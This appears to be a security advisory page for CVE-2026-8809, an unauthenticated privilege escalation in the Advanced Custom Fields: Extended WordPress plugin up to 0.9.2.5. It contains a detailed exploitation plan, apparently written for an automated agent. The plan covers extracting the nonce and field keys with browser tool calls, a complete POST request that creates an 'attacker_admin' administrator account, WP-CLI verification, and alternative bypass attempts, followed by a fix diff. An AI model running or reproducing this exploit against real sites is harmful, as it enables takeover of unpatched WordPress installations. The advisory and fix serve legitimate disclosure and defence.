Advanced Custom Fields: Extended <= 0.9.2.5 - Unauthenticated Privilege Escalation via Validation Bypass to '_acf_post_id' Parameter
Description
The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Privilege Escalation via Validation Bypass in all versions up to and including 0.9.2.5. The vulnerability exists due to the after_validate_save_post() function unconditionally trusting the attacker-controlled _acf_post_id POST parameter — with no authentication or integrity verification — to select a cleanup branch that silently discards all validation errors not prefixed with acfe:. This makes it possible for unauthenticated attackers to suppress both the role allow-list validation error added by acfe_field_user_roles::validate_front_value() and the administrator-role capability guard error added by acfe_module_form_action_user::validate_action(), causing wp_insert_user() to execute with an attacker-supplied administrator role argument and resulting in the creation of a new administrator-level user account. Exploitation requires the target site to expose a public ACFE frontend form configured with a Create User action that maps a role field.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v0.9.2.6
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-8809 ## 1. Vulnerability Summary The **Advanced Custom Fields: Extended (ACFE)** plugin (versions <= 0.9.2.5) contains a critical privilege escalation vulnerability. The core issue lies in the `after_validate_save_post()` function, which hooks into the ACF va…
Show full research plan
Exploitation Research Plan - CVE-2026-8809
1. Vulnerability Summary
The Advanced Custom Fields: Extended (ACFE) plugin (versions <= 0.9.2.5) contains a critical privilege escalation vulnerability. The core issue lies in the after_validate_save_post() function, which hooks into the ACF validation process. This function incorrectly trusts the attacker-controlled _acf_post_id parameter to enter a "cleanup" code branch. In this branch, the plugin iterates through the global $acf_errors array and silences (removes) any validation errors that do not start with the acfe: prefix.
Security-critical validation errors—specifically those preventing unauthenticated users from choosing a restricted role (like administrator) or preventing the "Create User" action from assigning high-privilege capabilities—are typically added by ACF or ACFE without the acfe: prefix. By suppressing these errors, an attacker can bypass role allow-lists and capability guards, allowing a public "Create User" form to create an administrator account.
2. Attack Vector Analysis
- Endpoint: The vulnerability is exploited during a standard ACF form submission, typically targeting a page containing an
[acfe_form ...]shortcode. - Vulnerable Action: The form must be configured with a "User" action set to "Create User".
- Target Parameter:
_acf_post_id(used to trigger the bypass) and the specific ACF field input for the user role. - Authentication: Unauthenticated (PR:N).
- Preconditions:
- A public-facing page must exist with an ACFE Frontend Form.
- The form must have a "Create User" action.
- A field in the form must be mapped to the "Role" setting of the User action.
3. Code Flow (Trace)
- Request Initiation: An unauthenticated user submits a POST request to a page containing an ACFE form.
- ACF Validation Initiation: ACF begins its validation sequence (
acf/validate_save_post). - ACFE Role Validation: The
acfe_field_user_roles::validate_front_value()function is called for the role selection field. It identifies that an unauthenticated user is attempting to select a role they are not permitted to (e.g.,administrator) and adds an error to the global$acf_errors. - ACFE Action Validation: The
acfe_module_form_action_user::validate_action()function runs. It checks if the "Create User" action is attempting to create an administrator without proper permissions. It also adds a validation error. - The Vulnerable Hook: ACFE's
after_validate_save_post()runs (likely at a high priority on theacf/validate_save_posthook). - The Bypass:
- The function checks for the existence of the
_acf_post_idPOST parameter. - If present (and potentially matching certain criteria), it enters a cleanup loop.
- It iterates through
global $acf_errors. - It removes any error where the field name/key associated with the error does not start with
acfe:. - The role validation errors added in steps 3 and 4 are stripped because they are associated with standard field keys (e.g.,
field_abcdef1234567) or standard ACF error types.
- The function checks for the existence of the
- Logic Execution: Since
$acf_errorsis now empty (or contains no relevant errors), ACF and ACFE proceed to the "Save" phase. - Sink: The "Create User" action executes, eventually calling
wp_insert_user()with the attacker-suppliedrole => 'administrator'.
4. Nonce Acquisition Strategy
ACFE Frontend Forms require an ACF nonce (_acf_nonce). These are generated for unauthenticated users (UID 0) but must be retrieved from the page context.
- Identify Form Page: Find the page containing the
[acfe_form]shortcode. - Navigate: Use
browser_navigateto load the page. - Extract Nonce: ACFE/ACF typically localizes data or includes it in hidden inputs.
- Method A (Hidden Input): Use
browser_evalto extract from the DOM:browser_eval("document.querySelector('input[name=_acf_nonce]').value") - Method B (JS Object): Check for localized script data:
browser_eval("window.acf?.get('nonce')")orbrowser_eval("window.acfe?.get('nonce')")
- Method A (Hidden Input): Use
- Extract Field Keys: To submit the form correctly, we need the
nameattributes of the fields (e.g.,acf[field_5f123abc456de]). These can be found by inspecting the form inputs viabrowser_eval.
5. Exploitation Strategy
Step 1: Target Identification
Search for pages containing the ACFE form. Use wp post list and wp post get to find content with [acfe_form.
Step 2: Form Mapping Discovery
Determine which ACF field keys correspond to:
- Username (
user_login) - Email (
user_email) - Password (
user_password) - Role (
role)
Step 3: Payload Construction
Construct a POST request to the form's URL (not admin-ajax.php, as ACFE frontend forms process on page load/init).
Parameters:
_acf_nonce: [Extracted Nonce]_acf_form: [Base64 encoded form configuration, usually found in a hidden input]_acf_post_id:new_user(Inferred value often used in ACFE for "Create User" actions; if not, use the current Post ID)acf[field_user_login_key]:attacker_adminacf[field_user_email_key]:admin@attacker.comacf[field_user_pass_key]:Password123!acf[field_user_role_key]:administrator
Step 4: Submission
Perform the http_request as follows:
{
method: "POST",
url: "http://target.local/page-with-form/",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "_acf_nonce=NONCE&_acf_form=CONFIG&_acf_post_id=new_user&acf[field_login]=attacker_admin&acf[field_email]=admin@attacker.com&acf[field_pass]=Password123!&acf[field_role]=administrator"
}
6. Test Data Setup
To verify in an isolated environment, create an ACFE form:
- Create Field Group: Create a group with fields for Username (text), Email (email), Password (password), and Role (ACFE User Roles field).
- Create ACFE Form:
- Navigate to ACF -> Forms.
- Create a new form named "PrivEsc Test".
- Add a "User" action. Set "Action" to "Create User".
- Map the fields:
- User Login:
field_username - User Email:
field_email - User Password:
field_password - Role:
field_role
- User Login:
- Publish Form: Place the form on a public page:
[acfe_form ID="123"]. - Note Field Keys: Verbatim keys are required for the
acf[...]parameters.
7. Expected Results
- The HTTP response should indicate a success state (typically a redirect or the "Success Message" configured in the form).
- No validation errors regarding "insufficient permissions" or "invalid role" should appear in the response HTML, despite being an unauthenticated request.
8. Verification Steps
After the exploit attempt, use WP-CLI to confirm the creation of the administrator:
wp user list --role=administrator
# Check for the username 'attacker_admin'
Alternatively, check if the user exists and has the correct capabilities:
wp user get attacker_admin --field=roles
9. Alternative Approaches
- Different
_acf_post_idvalues: Ifnew_userdoes not trigger the cleanup, try the numeric ID of the page the form is on, or the stringoptions. - Direct Validation Endpoint: Some ACF versions allow validation via
admin-ajax.php?action=acf/validate_save_post. If the main form submission fails, try sending the validation request first with_acf_post_idto see if it returns{"valid": 1}. - Field Mapping: If the "Role" field is hidden, the attacker may need to include it manually in the POST body using the discovered field key.
Summary
The Advanced Custom Fields: Extended plugin (<= 0.9.2.5) is vulnerable to unauthenticated privilege escalation due to a validation bypass. The 'after_validate_save_post' function incorrectly trusts the attacker-controlled '_acf_post_id' parameter to trigger a cleanup routine that removes security-critical validation errors, allowing unauthenticated users to create administrator accounts via front-end forms.
Security Fix
@@ -2,7 +2,7 @@ /** * Plugin Name: Advanced Custom Fields: Extended * Description: All-in-one enhancement suite that improves WordPress & Advanced Custom Fields. - * Version: 0.9.2.5 + * Version: 0.9.2.6 * Author: ACF Extended * Plugin URI: https://www.acf-extended.com * Author URI: https://www.acf-extended.com @@ -19,7 +19,7 @@ class ACFE{ // vars - var $version = '0.9.2.5'; + var $version = '0.9.2.6'; /** * construct @@ -53,6 +53,9 @@ acfe_include('includes/acfe-file-functions.php'); acfe_include('includes/acfe-form-functions.php'); acfe_include('includes/acfe-helper-functions.php'); + acfe_include('includes/acfe-helper-array-functions.php'); + acfe_include('includes/acfe-helper-multi-functions.php'); + acfe_include('includes/acfe-helper-string-functions.php'); acfe_include('includes/acfe-meta-functions.php'); acfe_include('includes/acfe-post-functions.php'); acfe_include('includes/acfe-screen-functions.php'); @@ -139,6 +142,7 @@ 'field/recaptcha/v2/size' => '', 'field/recaptcha/v3/hide_logo' => '', 'compatibility/legacy_title_toggle' => false, + 'compatibility/legacy_field_group' => false, )); ... (truncated)
Exploit Outline
The exploit requires an unauthenticated attacker to target a front-end form generated by the ACFE plugin configured with a 'Create User' action. The attacker first identifies the form on a public page and extracts the necessary '_acf_nonce', '_acf_form' configuration, and the specific field key mapped to the user role. By submitting a POST request that includes the '_acf_post_id' parameter (set to a value like 'new_user') along with a field value of 'administrator', the attacker triggers a logic flaw in the plugin's validation cleanup process. This process removes all validation errors not prefixed with 'acfe:', effectively silencing the security checks that would normally block unauthorized role assignment, resulting in the creation of a new administrator-level user.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.